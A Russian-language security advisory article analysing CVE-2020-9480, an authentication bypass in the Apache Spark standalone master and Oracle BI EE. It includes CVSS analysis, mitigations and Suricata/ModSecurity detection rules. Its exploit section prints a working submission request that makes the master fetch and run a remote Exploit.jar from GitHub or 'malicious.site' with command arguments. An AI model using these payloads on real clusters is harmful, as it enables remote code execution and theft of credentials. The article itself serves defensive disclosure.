Уязвимость в Oracle Business Intelligence Enterprise Edition и Apache Spark
Уязвимость в Oracle Business Intelligence Enterprise Edition и Apache Spark
Категория: Программы Теги: Уязвимости Опубликовано: 16 сентября 2025

Уязвимость BDU:2025-09903 (CVE-2020-9480) Oracle BI и Apache Spark

Уязвимость BDU:2025-09903 (CVE-2020-9480) затрагивает компонент Analytics Server в Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 и Apache Spark версий до 2.4.5 включительно. Она связана с недостатками в процедуре аутентификации standalone-менеджера ресурсов Spark, что позволяет удаленному злоумышленнику обойти проверку подлинности и выполнить произвольные команды на мастер-узле кластера.

Анализ уязвимости

Уровень опасности: 9.8 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Вектор атаки: Сетевой) - уязвимость может быть использована через сеть.

  • AC:L (Сложность атаки: Низкая) - не требуется специальных условий эксплуатации.

  • PR:N (Необходимые привилегии: Не требуются) - аутентификация не требуется.

  • UI:N (Вмешательство пользователя: Не требуется) - атака не требует действий пользователя.

  • S:U (Область воздействия: Не изменяется) - уязвимость влияет только на целевой компонент.

  • C:H (Влияние на конфиденциальность: Высокое) - возможен доступ к чувствительной информации.

  • I:H (Влияние на целостность: Высокое) - возможное полное нарушение целостности системы.

  • A:H (Влияние на доступность: Высокое) - возможен полный отказ в обслуживании.

Условия эксплуатации

Для успешной эксплуатации уязвимости необходимо:

  1. Наличие версии Apache Spark ≤ 2.4.5 или Oracle BI EE 5.5.0.0.0.

  2. Использование standalone-менеджера ресурсов (не YARN/Mesos).

  3. Включенная опция аутентификации (spark.authenticate=true).

  4. Сетевой доступ к порту мастер-узла (6066 по умолчанию).

  5. Отсутствие дополнительных механизмов защиты (например, сетевой сегментации).

Анализ кода эксплойта

Рассмотрим код эксплойта для понимания механизма атаки. Эксплойт использует уязвимость в RPC-протоколе мастер-узла, отправляя специально сформированный запрос на запуск приложения.

Ключевые компоненты эксплойта:

json_data0 = {
    "action": "CreateSubmissionRequest",
    "clientSparkVersion": "2.3.1",
    "appArgs": ["whoami,w,cat /proc/version,ifconfig..."],
    "appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
    "environmentVariables": {"SPARK_ENV_LOADED": "1"},
    "mainClass": "Exploit",
    "sparkProperties": {
        "spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
        "spark.driver.supervise": "false",
        "spark.app.name": "Exploit",
        "spark.eventLog.enabled": "true",
        "spark.submit.deployMode": "cluster",
        "spark.master": "spark://192.168.188.128:6066"
    }
}

Этот JSON-запрос отправляется на эндпоинт /v1/submissions/create, который обрабатывается без должной проверки аутентификации. Поле appResource указывает на внешний JAR-файл, содержащий код класса Exploit. При запуске приложения на кластере выполняется код из указанного JAR-файла.

Пример вредоносного HTTP-запроса:

POST /v1/submissions/create HTTP/1.1
Host: 192.168.188.128:6066
Content-Type: application/json
Content-Length: 742

{"action":"CreateSubmissionRequest","clientSparkVersion":"2.3.1","appArgs":["whoami"],"appResource":"https://malicious.site/exploit.jar","environmentVariables":{"SPARK_ENV_LOADED":"1"},"mainClass":"Exploit","sparkProperties":{"spark.jars":"https://malicious.site/exploit.jar","spark.driver.supervise":"false","spark.app.name":"Exploit","spark.eventLog.enabled":"true","spark.submit.deployMode":"cluster","spark.master":"spark://192.168.188.128:6066"}}

Возможные последствия атаки

Злоумышленник может:

  1. Выполнить произвольные команды на мастер-узле через внедрение команд в appArgs.

  2. Получить полный контроль над системой с правами пользователя Spark.

  3. Считать конфиденциальные данные (ключи SSH, учетные данные БД).

  4. Инициировать атаки на внутренние системы через скомпрометированный узел.

  5. Вызвать отказ в обслуживании кластера Spark.

Методы защиты

1. Обновление программного обеспечения

  • Установить Apache Spark версии 2.4.6 или 3.0.0 и выше.

  • Для Oracle BI EE применить патч из Critical Patch Update April 2021.

2. Сетевая сегментация

  • Ограничить доступ к порту мастер-узла (6066) только доверенным IP-адресам.

  • Разместить кластер Spark в изолированном сетевом сегменте.

3. Конфигурационные изменения

  • Отключить аутентификацию через shared secret если не требуется.

  • Использовать более безопасные менеджеры ресурсов (YARN, Mesos).

Правила для WAF/IPS

Пример правила для Suricata (IDS/IPS):

alert tcp any any -> any 6066 (msg:"CVE-2020-9480 Spark RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/v1/submissions/create"; http_uri; content:"CreateSubmissionRequest"; content:"appResource"; distance:0; content:"mainClass"; distance:0; pcre:"/(spark\.jars|appResource).*https?:\/\/[^\s"]+/i"; classtype:web-application-attack; sid:20209480; rev:1;)

Это правило (входит в мой набор правил) детектирует попытки отправки внешних JAR-файлов через параметры appResource или spark.jars

Пример правила для ModSecurity (WAF):

SecRule REQUEST_METHOD "@streq POST" \
    "chain,id:10009480,phase:2,block,msg:'CVE-2020-9480 Spark RCE Attempt'"
    SecRule REQUEST_URI "@contains /v1/submissions/create" \
        "chain"
        SecRule REQUEST_BODY "@rx (?:appResource|spark\.jars)\s*[\"']?https?://" \
            "t:none,t:urlDecode,t:lowercase"

Правило блокирует запросы к уязвимому эндпоинту с внешними URL в теле запроса.

Размещение WAF/IPS:

  • WAF должен быть размещен перед мастер-узлом Spark для фильтрации HTTP-трафика.

  • IPS должен контролировать трафик на сетевом уровне на границе сегмента кластера.

Алексей Черемных Алексей Черемных
324